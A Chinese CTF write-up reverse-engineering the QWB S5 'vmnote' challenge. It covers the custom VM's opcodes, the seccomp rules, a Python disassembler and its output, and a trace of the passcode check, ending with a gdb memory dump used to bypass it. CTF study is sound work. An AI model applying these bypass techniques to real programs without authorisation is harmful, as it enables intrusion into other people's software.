强网S5 vmnote复现
初步认识
今天也算是要到了这道题目的附件,听keer爷说这道题目难度比较大,就想来尝试尝试,拿到题目发现⼀共有三个⽂件,libc ,⽬标程序⽂件 还有个bin。
先看看保护开的怎么样:老样子,保护全开。
ida打开看一下反汇编后的效果:
老样子开始痛苦的逆向,经过痛苦的逆向后发现大致意思是将一个.bin文件加载到内存中,解析执行代码,不过有意思的是他自己写了一些堆块的管理结构,还写了一些释放堆块时需要做的操作,比如完成类似于unlink的操作!!!算是一个很有意思的题目,先把一些全局变量的名字给出来:
全局变量替换名字:
qword_7060[12] => __int64 reg[12]; //这是VM的寄存器
qword_70B0 => __int64 vm_rip; //VM的代码指针
qword_70C0 => __int64 sp; //VM的栈顶指针
qword_70B8 => __int64 vm_rbp; //VM的栈底指针
qword_70E0 => __int64 stack; //VM的栈底指针
qword_90E0 => __int64 eflags; //VM的标志寄存器
unk_9100 => __int64 vm_code; //VM的代码⾸地址
unk_70E0 => __int64 vm_stack //的数据⾸地址
其他的主要函数的逆向结果:
一开始的初始化函数:
void Initial()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x78u);
}
正式执行vm程序的函数:
void start_vm()
{
Initial_memory();
loadfile("note.bin");
vm();
}
Initial_memory()函数初始化了vm的内存分布:
void Initial_memory()
{
initial_memory();
memset(&vm_code, 0, 0x2000uLL);
memset(&stack, 0, 0x2000uLL);
}
void initial_memory()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 12; ++i )
reg[i] = 0LL;
vm_rip = 0LL;
vm_sp = 0x2000 - ((rand() % 511) & 0x1F8);
eflags = 0LL;
}
loadfile)函数将note.bin加载到内存中,初始化一些参数,这里我们可以看到随机种⼦我们可以预测,并开启沙箱:
void __fastcall loadfile(const char *a1)
{
unsigned int v1; // eax
int size; // [rsp+1Ch] [rbp-14h]
FILE *stream; // [rsp+20h] [rbp-10h]
void *ptr; // [rsp+28h] [rbp-8h]
stream = fopen(a1, "rb");
fseek(stream, 0LL, 2);
size = ftell(stream);
fseek(stream, 0LL, 0);
ptr = malloc(size);
if ( !ptr )
error();
fread(ptr, size, 1uLL, stream);
fclose(stream);
Sandbox();
v1 = time(0LL);
srand(v1);
vm_set((int *)ptr);
free(ptr);
}
void __fastcall vm_set(int *ptr)
{
int size1; // [rsp+14h] [rbp-1Ch]
int size2; // [rsp+18h] [rbp-18h]
int pc; // [rsp+1Ch] [rbp-14h]
int sp; // [rsp+20h] [rbp-10h]
initial_memory();
size1 = *ptr;
size2 = ptr[1];
pc = ptr[2];
sp = ptr[3];
if ( *ptr < 0 || size1 > 0x1FFF )
error();
if ( (unsigned int)size2 >= 0x2000 )
error();
checksec_segment(pc, size1);
checksec_segment(sp, size2);
memcpy((char *)&vm_code + pc, ptr + 4, size1);
vm_rip = pc;
memcpy((char *)&stack + sp, (char *)ptr + size1 + 16, size2);
}
vm函数将指令码翻译执行:
void __noreturn vm()
{
unsigned __int8 code; // al
unsigned int argo; // [rsp+8h] [rbp-8h]
while ( vm_rip < 0x2000 )
{
code = next_code();
argo = ((int)code >> 5) & 7;
switch ( code & 0x1F )
{
case 0:
push_r();
break;
case 1:
mov_reg_stack_low(argo);
break;
case 2:
nop();
break;
case 3:
cin(argo); // argo == 0 1字节读入reg
// argo == 1 4字节读入reg 无符号整数
// argo == 2 4字节读入reg 有符号整数
// other argo 1字节读入stack
break;
case 4:
leave();
break;
case 5:
sub(argo);
break;
case 6:
continue;
case 7:
add(argo);
break;
case 8:
store(argo);
break;
case 9:
mv_r_r(argo);
break;
case 0xA:
load_s(argo);
break;
case 0xB:
cmp(argo);
break;
case 0xC:
error();
case 0xD:
and(argo);
break;
case 0xE:
dec_reg();
break;
case 0xF:
div(argo);
break;
case 0x10:
jmp_r(argo);
break;
case 0x11:
call(argo);
break;
case 0x12:
add_r();
break;
case 0x13:
jmp(argo);
break;
case 0x14:
pop_r();
break;
case 0x15:
or(argo);
break;
case 0x16:
mv_r(argo);
break;
case 0x17:
cout(argo);
break;
case 0x18:
ret();
break;
case 0x19:
note();
break;
case 0x1A:
initial_memory();
break;
case 0x1B:
test();
break;
case 0x1C:
mult(argo);
break;
case 0x1D:
xor(argo);
break;
default:
error_printf("Illegal instructions");
break;
}
}
error_printf("segmentfault");
error();
}
程序沙箱:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL
如何解释notre.bin文件?
脚本转化为汇编代码:
note.bin文件很大,难以手动逆向解析,xKaneiki师傅写了个转伪汇编的脚本如下:
from pwn import *
data = b''
with open("./note.bin", "rb") as fp:
data = fp.read()
lc = u32(data[0:4])
ld = u32(data[4:8])
# offc = u32(data[8:12])
# offd = u32(data[12:16])
code = data[16:16+lc]
data = data[16+lc:16+lc+ld]
print("len of code", lc)
def gc(p, n):
re = code[p:p+n]
p += n
return p, re
def get_opcode(p):
p, re = gc(p, 1)
opcode = u8(re)
op = opcode & 0x1f
tp = opcode >> 5
return p, op, tp
def get_reg(p):
p, re = gc(p, 1)
return p, u8(re)
def get_const(p, n):
p, re = gc(p, n)
if n == 1:
re = u8(re)
elif n == 2:
re = u16(re)
elif n == 4:
re = u32(re)
elif n == 8:
re = u64(re)
return p, re
def get_code(p, tp):
if tp == 1:
p, re = gc(p, 1)
d = u8(re)
elif tp == 2:
p, re = gc(p, 2)
d = u16(re)
elif tp == 3:
p, re = gc(p, 4)
d = u32(re)
elif tp == 4:
p, re = gc(p, 8)
d = u64(re)
return p, d
pc = 0
# cn=0
while pc < lc:
# print("cn:{}".format(cn))
# cn+=1
addr = pc
pc, op, tp = get_opcode(pc)
# print("op:{}".format(hex(op)))
# push
if op == 0:
pc, r = get_reg(pc)
print("{}\tpush\treg{}".format(hex(addr), r))
# pop
elif op == 0x14:
pc, r = get_reg(pc)
print("{}\tpop\treg{}".format(hex(addr), r))
# load reg
elif op == 1:
pc, r = get_reg(pc)
pc, r1 = get_reg(pc)
f = ['','byte', 'word', 'dword', 'qword']
print("{}\tload\treg{},{} mem[reg{}]".format(hex(addr), r, f[tp], r1))
# store reg
elif op == 9:
pc, r = get_reg(pc)
pc, r1 = get_reg(pc)
f = ['', 'byte', 'word', 'dword', 'qword']
print("{}\tstore\treg{},{} mem[reg{}]".format(hex(addr), r, f[tp], r1))
# store
elif op == 8:
pc, r = get_reg(pc)
pc, pos = get_const(pc, 4)
f = ['', 'byte', 'word', 'dword', 'qword']
print("{}\tstore\treg{},{} mem[{}]".format(
hex(addr), r, f[tp], hex(pos)))
# load
elif op == 0xa:
pc, r = get_reg(pc)
pc, pos = get_const(pc, 4)
f = ['', 'byte', 'word', 'dword', 'qword']
print("{}\tload\treg{},{} mem[{}]".format(
hex(addr), r, f[tp], hex(pos)))
elif op == 2:
pass
# input
elif op == 3:
pc, r = get_reg(pc)
f = ['byte', 'dword', 'qword', "str"]
print("{}\tinput\t{} reg{}".format(hex(addr), f[min(4, tp)], r))
# output
elif op == 0x17:
pc, r = get_reg(pc)
f = ['byte', 'dword', 'qword', "str"]
print("{}\toutput\t{} reg{}".format(hex(addr), f[min(4, tp)], r))
# exit
elif op == 0xc:
print("{}\texit!".format(hex(addr)))
# leave
elif op == 4:
print("{}\tleave".format(hex(addr)))
# ret
elif op == 0x18:
print("{}\tret".format(hex(addr)))
# dec
elif op == 0xe:
pc, r = get_reg(pc)
print("{}\tdec\treg{}".format(hex(addr), r))
# inc
elif op == 0x12:
pc, r = get_reg(pc)
print("{}\tinc\treg{}".format(hex(addr), r))
# sub add and div or mul xor
elif op == 5 or op == 7 or op == 0xd or op == 0xf or op == 0x15 or op == 0x16 or op == 0x1c or op == 0x1d:
name_list = {
5: "sub",
7: 'add',
0xd: 'and',
0xf: 'div',
0x15: 'or',
0x16: 'mov',
0x1c: 'mul',
0x1d: "xor"
}
pc, r = get_reg(pc)
if tp > 0:
pc, d = get_code(pc, tp)
print("{}\t{}\treg{},#{}".format(
hex(addr), name_list[op], r, hex(d)))
else:
pc, r1 = get_reg(pc)
print("{}\t{}\treg{},reg{}".format(
hex(addr), name_list[op], r, r1))
# cmp
elif op == 0xb:
pc, r = get_reg(pc)
if tp > 0:
pc, d = get_const(pc, 8)
print("{}\tcmp\treg{},#{}".format(hex(addr), r, hex(d)))
else:
pc, r1 = get_reg(pc)
print("{}\tcmp\treg{},reg{}".format(hex(addr), r, r1))
# test
elif op == 0x1b:
pc, r = get_reg(pc)
pc, r1 = get_reg(pc)
print("{}\ttest\treg{},reg{}".format(hex(addr), r, r1))
# jmp_reg
elif op == 0x10:
pc, r = get_reg(pc)
f = ['jmp', 'je', 'jne', 'jb', 'ja']
print("{}\t{}\treg{}".format(hex(addr), f[tp], hex(pos)))
# jmp
elif op == 0x13:
pc, pos = get_const(pc, 4)
f = ['jmp', 'je', 'jne', 'jb', 'ja']
print("{}\t{}\t#{}".format(hex(addr), f[tp], hex(pos)))
# call
elif op == 0x11:
if tp > 0:
pc, pos = get_const(pc, 4)
print("{}\tcall\t#{}".format(hex(addr), hex(pos)))
else:
pc, r = get_reg(pc)
print("{}\tcall\treg{}".format(hex(addr), r))
# note
elif op == 0x19:
print("{}\tnote".format(hex(addr)))
# reset
elif op == 0x1a:
print("{}\treset!".format(hex(addr)))
pc = 0
else:
pass
运行结果如下:
len of code 1908
0x0 push reg11
0x2 mov reg11,reg12
0x5 call 0x23
0xa call 0xc5
0xf test reg0,reg0
0x12 je 0x1c
0x17 call 0x145
0x1c call 0x3d
0x21 leave
0x22 ret
0x23 call 0x4ab
0x28 mov reg0,$0x0
0x32 call 0x4d
0x37 call 0x5c
0x3c ret
0x3d mov reg0,$0x0
0x47 call 0x773
0x4c ret
0x4d mov reg1,reg0
0x50 mov reg0,$0x0
0x5a note
0x5b ret
0x5c mov reg1,reg0
0x5f mov reg0,$0x1
0x69 note
0x6a ret
0x6b mov reg0,$0x2
0x75 note
0x76 ret
0x77 mov reg1,reg0
0x7a mov reg0,$0x3
0x84 note
0x85 ret
0x86 mov reg1,reg0
0x89 mov reg0,$0x4
0x93 note
0x94 ret
0x95 mov reg1,reg0
0x98 mov reg0,$0x5
0xa2 note
0xa3 ret
0xa4 mov reg2,reg1
0xa7 mov reg1,reg0
0xaa mov reg0,$0x6
0xb4 note
0xb5 ret
0xb6 mov reg1,reg0
0xb9 mov reg0,$0x7
0xc3 note
0xc4 ret
0xc5 push reg11
0xc7 mov reg11,reg12
0xca sub reg12,$0x60
0xd4 mov reg0,$0x1000
0xde call 0x6a8
0xe3 call 0x6b
0xe8 and reg0,$0xfffffff
0xf2 store reg0,qword mem[reg12]
0xf5 output dword reg0
0xf7 mov reg0,$0xa
0x101 output byte reg0
0x103 mov reg0,$0x100c
0x10d call 0x6a8
0x112 mov reg0,reg12
0x115 add reg0,$0x10
0x11f mov reg1,$0x30
0x129 call 0x5ef
0x12e mov reg0,reg12
0x131 add reg0,$0x10
0x13b load reg1,qword mem[reg12]
0x13e call 0x413
0x143 leave
0x144 ret
0x145 push reg11
0x147 mov reg11,reg12
0x14a mov reg0,$0x1132
0x154 call 0x6a8
0x159 call 0x629
0x15e cmp reg0,$0x1
0x168 je 0x1ae
0x16d cmp reg0,$0x2
0x177 je 0x1b8
0x17c cmp reg0,$0x3
0x186 je 0x1c2
0x18b cmp reg0,$0x4
0x195 je 0x1cc
0x19a cmp reg0,$0x5
0x1a4 je 0x1d6
0x1a9 jmp 0x14a
0x1ae call 0x26a
0x1b3 jmp 0x14a
0x1b8 call 0x33d
0x1bd jmp 0x14a
0x1c2 call 0x37b
0x1c7 jmp 0x14a
0x1cc call 0x3d5
0x1d1 jmp 0x14a
0x1d6 leave
0x1d7 ret
0x1d8 push reg11
0x1da mov reg11,reg12
0x1dd sub reg12,$0x60
0x1e7 store reg0,qword mem[reg12]
0x1ea mov reg2,reg12
0x1ed add reg2,$0x8
0x1f7 store reg1,qword mem[reg2]
0x1fa mov reg0,reg1
0x1fd call 0x77
0x202 test reg0,reg0
0x205 je 0x30d
0x20a mov reg2,reg12
0x20d add reg2,$0x10
0x217 store reg0,qword mem[reg2]
0x21a load reg2,qword mem[reg12]
0x21d mov reg1,$0x1520
0x227 mul reg2,$0x8
0x231 add reg1,reg2
0x234 store reg0,qword mem[reg1]
0x237 mov reg0,$0x1182
0x241 call 0x6a8
0x246 mov reg2,reg12
0x249 add reg2,$0x8
0x253 load reg1,qword mem[reg2]
0x256 add reg2,$0x8
0x260 load reg0,qword mem[reg2]
0x263 call 0xa4
0x268 leave
0x269 ret
0x26a push reg11
0x26c mov reg11,reg12
0x26f sub reg12,$0x60
0x279 mov reg0,$0x1173
0x283 call 0x6a8
0x288 call 0x629
0x28d cmp reg0,$0x0
0x297 jb 0x30d
0x29c cmp reg0,$0x4
0x2a6 ja 0x30d
0x2ab store reg0,qword mem[reg12]
0x2ae mov reg1,$0x1520
0x2b8 mul reg0,$0x8
0x2c2 add reg1,reg0
0x2c5 load reg0,qword mem[reg1]
0x2c8 test reg0,reg0
0x2cb jne 0x30d
0x2d0 mov reg0,$0x117a
0x2da call 0x6a8
0x2df call 0x629
0x2e4 cmp reg0,$0x0
0x2ee jb 0x30d
0x2f3 cmp reg0,$0x60
0x2fd ja 0x30d
0x302 mov reg1,reg0
0x305 load reg0,qword mem[reg12]
0x308 call 0x1d8
0x30d leave
0x30e ret
0x30f push reg11
0x311 mov reg11,reg12
0x314 mov reg1,$0x1520
0x31e mul reg0,$0x8
0x328 add reg1,reg0
0x32b load reg0,qword mem[reg1]
0x32e test reg0,reg0
0x331 je 0x33b
0x336 call 0xb6
0x33b leave
0x33c ret
0x33d push reg11
0x33f mov reg11,reg12
0x342 mov reg0,$0x1173
0x34c call 0x6a8
0x351 call 0x629
0x356 cmp reg0,$0x0
0x360 jb 0x379
0x365 cmp reg0,$0x4
0x36f ja 0x379
0x374 call 0x30f
0x379 leave
0x37a ret
0x37b push reg11
0x37d mov reg11,reg12
0x380 mov reg0,$0x118d
0x38a call 0x696
0x38f leave
0x390 ret
0x391 push reg11
0x393 mov reg11,reg12
0x396 sub reg12,$0x40
0x3a0 mov reg1,$0x1520
0x3aa mul reg0,$0x8
0x3b4 add reg1,reg0
0x3b7 store reg1,qword mem[reg12]
0x3ba load reg0,qword mem[reg1]
0x3bd test reg0,reg0
0x3c0 je 0x3d3
0x3c5 call 0x86
0x3ca load reg1,qword mem[reg12]
0x3cd xor reg0,reg0
0x3d0 store reg0,qword mem[reg1]
0x3d3 leave
0x3d4 ret
0x3d5 push reg11
0x3d7 mov reg11,reg12
0x3da mov reg0,$0x1173
0x3e4 call 0x6a8
0x3e9 call 0x629
0x3ee cmp reg0,$0x0
0x3f8 jb 0x411
0x3fd cmp reg0,$0x4
0x407 ja 0x411
0x40c call 0x391
0x411 leave
0x412 ret
0x413 push reg11
0x415 mov reg11,reg12
0x418 sub reg12,$0x60
0x422 store reg0,qword mem[reg12]
0x425 mov reg0,reg12
0x428 add reg0,$0x8
0x432 store reg1,qword mem[reg0]
0x435 load reg0,qword mem[reg12]
0x438 call 0x654
0x43d cmp reg0,$0x11
0x447 ja 0x451
0x44c jmp 0x49a
0x451 load reg0,qword mem[reg12]
0x454 add reg0,$0x11
0x45e call 0x95
0x463 sub reg0,$0x12345678
0x46d mov reg1,reg12
0x470 add reg1,$0x8
0x47a load reg1,qword mem[reg1]
0x47d cmp reg1,reg0
0x480 je 0x48a
0x485 jmp 0x49a
0x48a load reg0,qword mem[reg12]
0x48d call 0x6cf
0x492 test reg0,reg0
0x495 jne 0x4a9
0x49a mov reg0,$0x1018
0x4a4 call 0x769
0x4a9 leave
0x4aa ret
0x4ab mov reg0,$0x1000
0x4b5 mov reg1,$0x89
0x4bf call 0x5ba
0x4c4 mov reg0,$0x100c
0x4ce mov reg1,$0x42
0x4d8 call 0x5ba
0x4dd mov reg0,$0x1018
0x4e7 mov reg1,$0x24
0x4f1 call 0x5ba
0x4f6 mov reg0,$0x1132
0x500 mov reg1,$0x47
0x50a call 0x5ba
0x50f mov reg0,$0x1173
0x519 mov reg1,$0x11
0x523 call 0x5ba
0x528 mov reg0,$0x117a
0x532 mov reg1,$0x11
0x53c call 0x5ba
0x541 mov reg0,$0x1182
0x54b mov reg1,$0x11
0x555 call 0x5ba
0x55a mov reg0,$0x118d
0x564 mov reg1,$0x11
0x56e call 0x5ba
0x573 ret
0x574 xor reg3,reg3
0x577 xor reg6,reg6
0x57a xor reg4,reg4
0x57d xor reg5,reg5
0x580 load reg4,byte mem[reg0]
0x583 load reg5,byte mem[reg1]
0x586 sub reg4,reg5
0x589 cmp reg4,$0x0
0x593 jb 0x5a0
0x598 add reg3,reg4
0x59b jmp 0x5a3
0x5a0 sub reg3,reg4
0x5a3 inc reg6
0x5a5 cmp reg6,reg2
0x5a8 je 0x5b6
0x5ad inc reg0
0x5af inc reg1
0x5b1 jmp 0x57a
0x5b6 mov reg0,reg3
0x5b9 ret
0x5ba xor reg6,reg6
0x5bd xor reg5,reg5
0x5c0 load reg6,byte mem[reg0]
0x5c3 sub reg6,reg5
0x5c6 and reg6,$0xff
0x5d0 xor reg6,reg1
0x5d3 store reg6,byte mem[reg0]
0x5d6 cmp reg6,$0x0
0x5e0 je 0x5ee
0x5e5 inc reg0
0x5e7 inc reg5
0x5e9 jmp 0x5c0
0x5ee ret
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input byte reg7
0x5f7 cmp reg7,$0xa
0x601 je 0x615
0x606 store reg7,byte mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb 0x5f5
0x615 mov reg7,$0x0
0x61f store reg7,byte mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
0x629 push reg11
0x62b mov reg11,reg12
0x62e sub reg12,$0x60
0x638 mov reg0,reg12
0x63b mov reg1,$0x60
0x645 call 0x5ef
0x64a mov reg0,reg12
0x64d call 0x95
0x652 leave
0x653 ret
0x654 xor reg6,reg6
0x657 xor reg7,reg7
0x65a load reg7,byte mem[reg0]
0x65d cmp reg7,$0x0
0x667 je 0x675
0x66c inc reg0
0x66e inc reg6
0x670 jmp 0x65a
0x675 mov reg0,reg6
0x678 ret
0x679 xor reg2,reg2
0x67c jmp 0x68a
0x681 load reg3,byte mem[reg0]
0x684 output byte reg3
0x686 inc reg0
0x688 inc reg2
0x68a cmp reg2,reg1
0x68d jb 0x681
0x692 mov reg0,reg2
0x695 ret
0x696 call 0x6a8
0x69b mov reg1,$0xa
0x6a5 output byte reg1
0x6a7 ret
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x6cf push reg11
0x6d1 mov reg11,reg12
0x6d4 sub reg12,$0x40
0x6de store reg0,qword mem[reg12]
0x6e1 mov reg1,$0x101f
0x6eb mov reg2,$0x11
0x6f5 call 0x739
0x6fa load reg0,qword mem[reg12]
0x6fd mov reg1,$0x1120
0x707 mov reg2,$0x11
0x711 call 0x574
0x716 test reg0,reg0
0x719 je 0x72d
0x71e mov reg0,$0x0
0x728 jmp 0x737
0x72d mov reg0,$0x1
0x737 leave
0x738 ret
0x739 push reg2
0x73b push reg1
0x73d push reg0
0x73f xor reg3,reg3
0x742 jmp 0x75a
0x747 load reg4,byte mem[reg0]
0x74a mov reg5,reg1
0x74d add reg5,reg4
0x750 load reg5,byte mem[reg5]
0x753 store reg5,byte mem[reg0]
0x756 inc reg0
0x758 inc reg3
0x75a cmp reg3,reg2
0x75d jb 0x747
0x762 pop reg0
0x764 pop reg1
0x766 pop reg2
0x768 ret
0x769 call 0x696
0x76e call 0x773
0x773 exit!
简便方式,直接转化为IDA可识别的代码:
三叶草的pandaos师傅给出了把bin⽂件直接解析成可以在ida进⾏f5的汇编代码,着实学习了一手,项目地址:
https://github.com/P4nda0s/qwb_vmnote_recompiler
开始分析
这里我们先用转化出来的为汇编代码来分析一下(patience):
1.output("challenge") && output(rand()):
0x0 push reg11
0x2 mov reg11,reg12
0x5 call 0x23
0x23 call 0x4ab(重复类似操作8次,只不过每一次push reg1参数不同,分别为0x89,0x42,0x24,0x47,0x11,0x11,0x11,0x11)
0x4ab mov reg0,$0x1000
0x4b5 mov reg1,$0x89
0x4bf call 0x5ba
0x5ba xor reg6,reg6
0x5bd xor reg5,reg5
0x5c0 load reg6,byte mem[reg0]
0x5c3 sub reg6,reg5
0x5c6 and reg6,$0xff
0x5d0 xor reg6,reg1
0x5d3 store reg6,byte mem[reg0]
0x5d6 cmp reg6,$0x0
0x5e0 je 0x5ee
0x5e5 inc reg0
0x5e7 inc reg5
0x5e9 jmp 0x5c0
0x5ee ret
0x573 ret
0x28 mov reg0,$0x0
0x32 call 0x4d
0x4d mov reg1,reg0
0x50 mov reg0,$0x0 #reg[0] = (int)time((time_t *)seed);
0x5a note
0x5b ret
0x37 call 0x5c
0x5c mov reg1,reg0
0x5f mov reg0,$0x1 #srand((unsigned int)seed);
0x69 note
0x6a ret
0x3c ret
0xa call 0xc5
0xc5 push reg11
0xc7 mov reg11,reg12
0xca sub reg12,$0x60
0xd4 mov reg0,$0x1000
0xde call 0x6a8
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0] #循环输出"challenge"
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0xe3 call 0x6b
0x6b mov reg0,$0x2 #reg[0] = rand();
0x75 note
0x76 ret
0xe8 and reg0,$0xfffffff
0xf2 store reg0,qword mem[reg12]
0xf5 output dword reg0 #output(rand())
0xf7 mov reg0,$0xa
0x101 output byte reg0 #output("\n")
2.output("passcode:"):
0x103 mov reg0,$0x100c
0x10d call 0x6a8
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
3.read(0,&stack[reg0],0x30):
0x112 mov reg0,reg12
0x115 add reg0,$0x10
0x11f mov reg1,$0x30
0x129 call 0x5ef #read(0,&stack[reg0],0x30)
0x5ef xor reg6,reg6
0x5f2 xor reg7,reg7
0x5f5 input byte reg7
0x5f7 cmp reg7,$0xa
0x601 je 0x615
0x606 store reg7,byte mem[reg0]
0x609 inc reg0
0x60b inc reg6
0x60d cmp reg6,reg1
0x610 jb 0x5f5
0x615 mov reg7,$0x0
0x61f store reg7,byte mem[reg0]
0x622 mov reg0,reg1
0x625 sub reg0,reg6
0x628 ret
4.check()以及主要内容
0x12e mov reg0,reg12
0x131 add reg0,$0x10 #input addr
0x13b load reg1,qword mem[reg12] #store random
0x13e call 0x413
0x413 push reg11
0x415 mov reg11,reg12
0x418 sub reg12,$0x60
0x422 store reg0,qword mem[reg12]
0x425 mov reg0,reg12
0x428 add reg0,$0x8
0x432 store reg1,qword mem[reg0]
0x435 load reg0,qword mem[reg12]
0x438 call 0x654
0x654 xor reg6,reg6
0x657 xor reg7,reg7
0x65a load reg7,byte mem[reg0]
0x65d cmp reg7,$0x0
0x667 je 0x675
0x66c inc reg0
0x66e inc reg6
0x670 jmp 0x65a
0x675 mov reg0,reg6
0x678 ret
0x43d cmp reg0,$0x11
0x447 ja 0x451
0x451 load reg0,qword mem[reg12]
0x454 add reg0,$0x11
0x45e call 0x95
0x95 mov reg1,reg0
0x98 mov reg0,$0x5
0xa2 note #reg[0] = (int)atol(&stack[seed]);
0xa3 ret
0x463 sub reg0,$0x12345678
0x46d mov reg1,reg12
0x470 add reg1,$0x8
0x47a load reg1,qword mem[reg1]
0x47d cmp reg1,reg0
0x480 je 0x48a
0x485 jmp 0x49a
0x48a load reg0,qword mem[reg12]
0x48d call 0x6cf
0x6cf push reg11
0x6d1 mov reg11,reg12
0x6d4 sub reg12,$0x40
0x6de store reg0,qword mem[reg12]
0x6e1 mov reg1,$0x101f
0x6eb mov reg2,$0x11
0x6f5 call 0x739
......
......
......
0x44c jmp 0x49a
0x49a mov reg0,$0x1018
0x4a4 call 0x769
0x769 call 0x696
0x696 call 0x6a8
0x6a8 push reg1
0x6aa push reg0
0x6ac xor reg1,reg1
0x6af load reg1,byte mem[reg0]
0x6b2 cmp reg1,$0x0
0x6bc je 0x6ca
0x6c1 output byte reg1
0x6c3 inc reg0
0x6c5 jmp 0x6af
......
......
......
0x6ca pop reg0
0x6cc pop reg1
0x6ce ret
0x69b mov reg1,$0xa
0x6a5 output byte reg1
0x6a7 ret
0x76e call 0x773
0x4a9 leave
0x4aa ret
checksec:
先具体看一下他是怎么检查的:
1.先明确一下初始各个寄存器中存放的东西:
reg[12]:stack上面存储的random的数据的偏移
reg[0]: 接受我们输入的stack的偏移量
2.分析检查的内容:
检查输入的长度是否大于0x11:strlen(input())
0x654 xor reg6,reg6
0x657 xor reg7,reg7
0x65a load reg7,byte mem[reg0]
0x65d cmp reg7,$0x0
0x667 je 0x675
0x66c inc reg0
0x66e inc reg6
0x670 jmp 0x65a
0x675 mov reg0,reg6
0x678 ret
0x43d cmp reg0,$0x11
2.检查s0[0x11]-0x12345678==random
0x463 sub reg0,$0x12345678
0x46d mov reg1,reg12
0x470 add reg1,$0x8
0x47a load reg1,qword mem[reg1]
0x47d cmp reg1,reg0
0x480 je 0x48a
0x485 jmp 0x49a
0x48a load reg0,qword mem[reg12]
0x48d call 0x6cf
3.对前0x11个字节做了call #0x6cf这个检查,这个检查其实就是在做数据的对比:
0x6cf push reg11
0x6d1 mov reg11,reg12
0x6d4 sub reg12,$0x40
0x6de store reg0,qword mem[reg12]
0x6e1 mov reg1,$0x101f
0x6eb mov reg2,$0x11
0x6f5 call 0x739
0x739 push reg2
0x73b push reg1
0x73d push reg0
0x73f xor reg3,reg3
0x742 jmp 0x75a
0x75a cmp reg3,reg2
0x75d jb 0x747 ------->> 0x747 load reg4,byte mem[reg0]
0x762 pop reg0 0x74a mov reg5,reg1
0x764 pop reg1 0x74d add reg5,reg4
0x766 pop reg2 0x750 load reg5,byte mem[reg5]
0x768 ret 0x753 store reg5,byte mem[reg0]
0x756 inc reg0
0x758 inc reg3
0x75a cmp reg3,reg2
0x75d jb 0x747
0x762 pop reg0
0x764 pop reg1
0x766 pop reg2
0x768 ret
0x6fa load reg0,qword mem[reg12]
0x6fd mov reg1,$0x1120
0x707 mov reg2,$0x11
0x711 call 0x574
0x574 xor reg3,reg3
0x577 xor reg6,reg6
0x57a xor reg4,reg4
0x57d xor reg5,reg5
0x580 load reg4,byte mem[reg0]
0x583 load reg5,byte mem[reg1]
0x586 sub reg4,reg5
0x589 cmp reg4,$0x0
0x593 jb 0x5a0
0x598 add reg3,reg4
0x59b jmp 0x5a3
0x5a0 sub reg3,reg4
0x5a3 inc reg6
0x5a5 cmp reg6,reg2
0x5a8 je 0x5b6
0x5ad inc reg0
0x5af inc reg1
0x5b1 jmp 0x57a
0x5b6 mov reg0,reg3
0x5b9 ret
0x716 test reg0,reg0
0x719 je 0x72d
0x71e mov reg0,$0x0
0x728 jmp 0x737
0x72d mov reg0,$0x1
0x737 leave
0x738 ret
转化成伪代码就是:
char input[0x11]; //输入的前0x11个字节
char key[0x11]; //从data+0x1120开始的11个字节
char data[...]; // 从data+0x101f开始的数据表
for(int i=0;i<0x11;i++)
{
if( data[input[i]] != key[i] )
return 0;
}
return 1;
绕过检查:
利用gdb从内存中dump下key和table的数据,从而绕过passcode
'''
pwndbg> x/50gx 0x00000000000070E0+0x555555554000+0x101f
0x55555555c0ff: 0x6eb86077ab94b3da 0xb54c2e5fa59a5dc0
0x55555555c10f: 0x3cc348a8e7b9ef62 0xc9d9e6db081f4316
0x55555555c11f: 0xf603fb7d3d025c38 0xe5593013d886beb0
0x55555555c12f: 0xb10451c2099193d0 0xcffa0720ec71d541
0x55555555c13f: 0x5e31c87f8592cc55 0x78ba4737f5a321df
0x55555555c14f: 0x409719252b3eaefe 0x588cf1e1a7844efc
